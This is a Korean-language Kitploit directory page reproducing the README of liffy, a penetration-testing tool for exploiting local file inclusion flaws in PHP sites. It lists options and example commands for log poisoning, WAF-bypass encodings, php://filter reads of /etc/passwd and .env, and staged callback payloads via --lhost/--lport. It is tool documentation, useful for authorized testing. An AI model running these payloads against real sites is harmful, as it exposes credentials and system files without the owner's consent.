Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
liffy — 로컬 파일 포함 취약점 익스플로잇 도구 | Kitploit
도구/GitHubGitHub/mzfr/liffy
Vulnerability AnalysisWeb Application ExploitationWAF BypassPenetration TestingPayload Development
GitHubmzfr/liffy

liffy

로컬 파일 포함 취약점 익스플로잇 도구

저장소 보기
97811483개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GitSpo Mentions License: GPL v3 Maintenance Rawsec's CyberSecurity Inventory

Packaging status


liffy

고급 LFI 익스플로잇 도구

작동 중인 liffy

로컬 파일 포함(LFI) 취약점을 익스플로잇하기 위한 강력한 Python 도구로, WAF 우회, 인코딩 기법, 포괄적인 취약점 탐지 등 고급 기능을 제공합니다.

Liffy v2.0은 원래 rotlogix/liffy에서 시작되어 hvqzao가 제작한 liffy의 대폭 개선된 버전입니다. 이 버전에는 Rich 터미널 출력, YAML 설정, 향상된 스레딩, 여러 고급 익스플로잇 기법 등 최신 기능이 포함되어 있습니다.

⚠️ 많은 새로운 변경 사항이 vibe coded 방식으로 작성되었습니다.

목차

  • 기능
  • 설치
  • 사용법
  • 설정
  • 고급 기법
  • 예제
  • 기여
  • 크레딧

기능

핵심 LFI 기법

  • data:// - data 래퍼를 통한 코드 실행
  • expect:// - expect 래퍼를 통한 코드 실행
  • input:// - input 래퍼를 통한 코드 실행
  • filter:// - filter 래퍼를 통한 임의 파일 읽기
  • /proc/self/environ - CGI 모드에서 코드 실행
  • Apache access.log 오염 - 로그 파일 익스플로잇
  • Linux auth.log SSH 오염 - SSH 로그 익스플로잇
  • 널 바이트 오염 - 레거시 PHP 널 바이트 공격
  • ZIP 래퍼 익스플로잇 - ZIP 파일 포함 공격
  • 래퍼 탐지 - 일반적인 LFI 스트림 래퍼에 대한 안전한 프로브
  • 대역 외 프로브 - 블라인드 래퍼/SSRF 스타일 동작을 위한 콜백 페이로드
  • 블라인드 LFI 검사 - 파일 내용이 반영되지 않을 때 응답 차이 프로브
  • 자동 스캔 모드 - 트래버설, 래퍼, 블라인드 검사 전반에 걸친 안전한 탐지 우선 스캔 계획

고급 기능

  • WAF 우회 - 일반적인 WAF를 위한 다중 우회 기법
  • 고급 인코딩 - 이중 URL 인코딩, 유니코드, 대소문자 변형
  • POST 요청 지원 - 사용자 정의 데이터를 포함한 완전한 POST 메서드 지원
  • 사용자 정의 헤더 - 구성 가능한 HTTP 헤더
  • User-Agent 순환 - 탐지 회피를 위한 무작위 User-Agent
  • 속도 제한 - 구성 가능한 요청 스로틀링
  • 다중 스레드 - 향상된 스레드 풀 관리
  • 탐지 모드 - 익스플로잇 없이 취약점 스캔
  • Rich 터미널 출력 - 진행 표시줄과 함께 아름다운 컬러 출력
  • YAML 설정 - 영구 설정 관리

최신 개선 사항

  • 향상된 취약점 탐지 - 신뢰도 점수를 포함한 고급 응답 분석
  • 스레드 풀 관리 - 적응형 스레딩으로 최적화된 성능
  • 설정 관리 - CLI 재정의가 가능한 YAML 기반 설정
  • 포괄적인 로깅 - 상세한 실행 보고서 및 진행 상황 추적

설치

Python 3을 사용 중인지 확인하세요. Liffy는 Python 2를 지원하지 않습니다. 아래 예제에서는 프로젝트 환경 내에서 명령을 실행하기 위해 uv run python을 사용합니다.

root@kitploit:~
# 아직 설치하지 않았다면 uv 설치
curl -LsSf https://astral.sh/uv/install.sh | sh

# 저장소 클론
git clone https://github.com/mzfr/liffy
cd liffy

# uv로 가상 환경 생성
uv venv

# pyproject.toml에서 종속성 설치
uv sync

# liffy 실행
uv run python liffy.py --help

사용법

기본 구문

root@kitploit:~
uv run python liffy.py <URL> [OPTIONS]

명령줄 옵션

root@kitploit:~
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--auto]
                [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

positional arguments:
  url                   URL to test for LFI

Core Techniques:
  -d, --data            Use data:// technique
  -i, --input           Use input:// technique
  -e, --expect          Use expect:// technique
  -f, --filter          Use filter:// technique
  -p, --proc            Use /proc/self/environ technique
  -a, --access          Apache access logs technique
  --ssh                 SSH auth log poisoning
  -dt, --directorytraverse  Test for Directory Traversal
  --null-byte           Test for Null Byte Poisoning
  --zip                 Test for ZIP wrapper exploitation
  --wrappers, --wrapper Detect common LFI stream wrappers
  --wrapper-list WRAPPER_LIST
                        Path to custom wrapper probe payload list
  --oob                 Send out-of-band callback probes
  --oob-url OOB_URL     OOB callback base URL
  --blind               Run blind LFI response-difference checks
  --blind-list BLIND_LIST
                        Path to custom blind LFI probe list
  --auto                Run a safe automatic scan plan

Advanced Options:
  --encoding            Use advanced encoding/bypass techniques
  --waf-bypass          Use WAF evasion techniques
  --method {GET,POST}   HTTP method to use (default: GET)
  --post-data POST_DATA POST data (format: key=value&key2=value2)
  --headers HEADERS     Custom headers (format: Header1:Value1,Header2:Value2)
  --detection           Only perform LFI detection, no exploitation

Request Options:
  --timeout TIMEOUT     HTTP request timeout in seconds
  --proxy PROXY         HTTP(S) proxy URL, e.g. http://127.0.0.1:8080
  --verify-tls          Verify TLS certificates instead of using insecure requests
  --user-agent UA       Custom User-Agent header
  --delay DELAY         Delay between requests in seconds
  --retries RETRIES     HTTP retries per request

Automation Options:
  --lhost LHOST         Callback host for staged payloads
  --lport LPORT         Callback port for staged payloads
  --read-file PATH      File path to read with filter://
  -y, --yes             Use defaults for prompts and run non-interactively
  --json                Print a JSON run summary
  --output OUTPUT       Write JSON run summary to a file
  --quiet               Suppress normal terminal output

General Options:
  -ns, --nostager       Execute payload directly, do not use stager
  -r, --relative        Use path traversal sequences for attack
  -l, --location LOCATION  Path to target file (access log, auth log, etc.)
  --cookies COOKIES     Session cookies for authentication
  -t, --threads THREADS Number of threads to use (default: 5)
  --no-color            Disable colored output
  --no-banner           Disable banner display
  --config              Create default YAML configuration file

설정

YAML 설정

영구 설정을 위한 구성 파일을 생성합니다:

root@kitploit:~
uv run python liffy.py --config

다음과 같은 기본 설정으로 liffy_config.yaml 파일이 생성됩니다:

root@kitploit:~
# Liffy Configuration File
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

disable_banner: true로 설정하면 기본적으로 시작 배너/로고를 숨깁니다. CLI 플래그는 여전히 설정 값을 재정의하므로 일회성 실행을 위해 --no-banner, --no-color, --quiet를 사용할 수도 있습니다.

환경 변수

다음 환경 변수를 사용할 수도 있습니다:

  • LIFFY_THREADS - 스레드 수
  • LIFFY_RATE_LIMIT - 속도 제한 지연
  • LIFFY_NO_COLOR - 색상 비활성화 (true/false)

고급 기법

WAF 우회 기법

--waf-bypass가 활성화되면 liffy는 여러 우회 기법을 자동으로 적용합니다:

  • 주석 삽입: /**/, #, ;
  • 프로토콜 혼동: file:///, pHp://
  • 인코딩 계층화: 여러 인코딩 조합
  • 경로 난독화: ./, ../, 널 바이트

인코딩 우회 기법

--encoding을 사용하면 liffy가 고급 인코딩 방법을 적용합니다:

  • 이중 URL 인코딩: %252e%252e%252f
  • 유니코드 인코딩: \u002e\u002e\u002f
  • 대소문자 혼합: ..%2F, ..%2f
  • HTML 엔티티 인코딩: &#46;&#46;&#47;

POST 요청 지원

root@kitploit:~
# 폼 데이터를 포함한 POST
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# 사용자 정의 헤더를 포함한 POST
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

요청 튜닝

root@kitploit:~
# 로컬 프록시를 통해 트래픽 전송 및 일시적 실패 재시도
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# 고정 User-Agent 및 사용자 정의 요청 지연 사용
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

예제

기본 LFI 테스트

data:// 래퍼로 테스트

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d

여러 기법으로 테스트

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f

탐지 모드만 사용

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e

고급 사용법

WAF 우회 + 인코딩

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding

속도 제한이 있는 다중 스레드

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config

사용자 정의 헤더를 포함한 POST 요청

root@kitploit:~
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

로그 오염

Apache access.log 오염

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a

SSH auth.log 오염

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --ssh

사용자 정의 로그 위치

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"

디렉터리 트래버설

상대 경로 트래버설

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -r

디렉터리 트래버설 테스트

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -dt

특수 기법

널 바이트 오염 (레거시 PHP)

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --null-byte

ZIP 래퍼 익스플로잇

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --zip

일반 래퍼 탐지

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrappers

래퍼 탐지는 file://, php://filter, data://, php://temp, php://memory 및 관련 래퍼에 대한 안전한 기본 프로브를 사용합니다. zip://, phar://, glob://는 일반적으로 대상 측 파일이나 목록을 노출하는 싱크 동작이 필요하므로 정보 제공/조건부로 처리됩니다.

사용자 정의 래퍼 페이로드 목록을 제공할 수 있습니다. --wrapper-list를 생략하면 liffy는 내장 프로브로 대체됩니다:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
  --wrapper-list payload_wordlists/wrappers.txt

각 비어 있지 않은 줄은 원시 페이로드이거나 name=payload 형식일 수 있습니다:

root@kitploit:~
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini

대역 외 콜백 프로브

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --oob \
  --oob-url "https://example.oast.site"

HTTP/DNS 콜백 리스너와 함께 사용하세요. Liffy는 URL 래퍼 스타일 페이로드를 보내며, 대상이 콜백하는지 확인합니다.

블라인드 LFI 검사

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind

블라인드 검사는 기존 파일 프로브를 무작위 누락 파일 기준과 비교하여 내용이 직접 반영되지 않을 때 상태, 길이 또는 타이밍 차이를 보고합니다.

사용자 정의 블라인드 프로브 목록을 제공할 수 있습니다. --blind-list를 생략하거나 비워두면 liffy는 내장 프로브를 사용합니다:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind \
  --blind-list payload_wordlists/blind_lfi.txt

각 비어 있지 않은 줄은 원시 페이로드이거나 name=payload 형식일 수 있습니다:

root@kitploit:~
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env

안전한 자동 스캔

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --auto

--auto는 탐지 전용 디렉터리 트래버설, 래퍼 검사 및 블라인드 검사를 활성화합니다. --oob-url도 제공되면 OOB 프로브를 포함합니다.

모든 기법을 사용한 포괄적 스캔

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" \
  -d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
  --encoding --waf-bypass --detection

인증 및 쿠키

세션 쿠키 사용

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --cookies "PHPSESSID=abc123; auth_token=xyz789"

스크립트 / 비대화형 사용

프롬프트 없이 콜백 값 제공

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --lhost 10.10.14.2 --lport 4444 --yes

프롬프트 없이 filter://로 특정 파일 읽기

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -f \
  --read-file /etc/passwd --yes

구조화된 출력

JSON 실행 요약 출력

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json

터미널 출력을 유지하면서 JSON 요약을 디스크에 쓰기

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
  --output findings.json

출력 제어

색상 및 배너 비활성화

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner

일반 터미널 출력 숨기기

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json

기본 파일 위치

사용자 정의 경로가 지정되지 않은 경우 다음 기본 위치가 사용됩니다:

  • SSH auth.log: /var/log/auth.log
  • Apache access.log: /var/log/apache2/access.log
  • 대체 Apache 로그: /var/log/httpd/access_log

기여

기여를 환영합니다! 도움을 주실 수 있는 방법은 다음과 같습니다:

기능 제안

  • 새로운 LFI 익스플로잇 기법
  • 추가 WAF 우회 방법
  • 향상된 인코딩 기법
  • 페이로드 최적화
  • 탐지 개선

버그 신고

  • GitHub Issues를 통해 버그 보고
  • 재현 가능한 상세 단계 포함
  • 대상 환경 세부 정보 제공

풀 리퀘스트

  • 저장소 포크
  • 기능 브랜치 생성
  • 테스트를 포함한 변경 사항 적용
  • 풀 리퀘스트 제출

질문이나 제안 사항이 있으면 언제든지 이슈를 열어주세요!

취약점 탐지

Liffy의 탐지 모드는 포괄적인 취약점 분석을 제공합니다:

신뢰도 점수

  • 높은 신뢰도 (80-100%): /etc/passwd 내용과 같은 강력한 지표
  • 중간 신뢰도 (50-79%): 부분 파일 내용 또는 의심스러운 응답
  • 낮은 신뢰도 (20-49%): 수동 확인이 필요한 잠재적 지표

탐지 기능

  • 파일 내용 분석: Linux, Windows 및 PHP 파일 패턴 인식
  • 응답 분석: HTTP 상태 코드, 콘텐츠 길이, 타이밍 분석
  • WAF 탐지: 일반적인 WAF 서명 식별
  • 증거 수집: 보고를 위한 취약점 증거 캡처

샘플 탐지 출력

root@kitploit:~
[+] 취약점 요약
==================================================
[1] 취약점 발견됨
    페이로드: ../../etc/passwd
    신뢰도: 85%
    증거: Linux /etc/passwd 파일: root:
    상태 코드: 200
    콘텐츠 길이: 1547

문제 해결

일반적인 문제

WAF가 요청 차단

root@kitploit:~
# WAF 우회 기법 사용
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# 스레드 수 줄이고 지연 시간 늘리기
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

속도 제한 문제

root@kitploit:~
# 설정 파일에서 지연 시간 증가
max_threads: 2
rate_limit_delay: 1.0

디버그 모드

자세한 출력을 위해 설정을 수정할 수 있습니다:

root@kitploit:~
debug_mode: true
verbose_output: true

보안 고지

Liffy는 승인된 보안 테스트 목적으로만 설계되었습니다.

  • 소유하고 있거나 명시적 테스트 권한이 있는 시스템에서만 사용하세요.
  • 책임 있는 공개 절차를 따르세요.
  • 속도 제한을 준수하고 DoS 상황을 피하세요.
  • 관할권의 법적 영향을 인지하세요.

저자는 이 도구의 오용에 대해 책임을 지지 않습니다.

크레딧

원작 영감

  • hvqzao의 원본 liffy
  • rotlogix/liffy의 초기 개념

기법 및 연구

  • 다양한 보안 연구에서 비롯된 LFI 익스플로잇 기법
  • 공개 보안 리소스의 WAF 우회 방법
  • PHP 래퍼 익스플로잇 문서

디자인 및 자산

  • renderforest의 로고 디자인
  • Rich 라이브러리를 사용한 터미널 스타일링

라이선스

이 프로젝트는 GNU General Public License v3.0에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.

도구 다운로드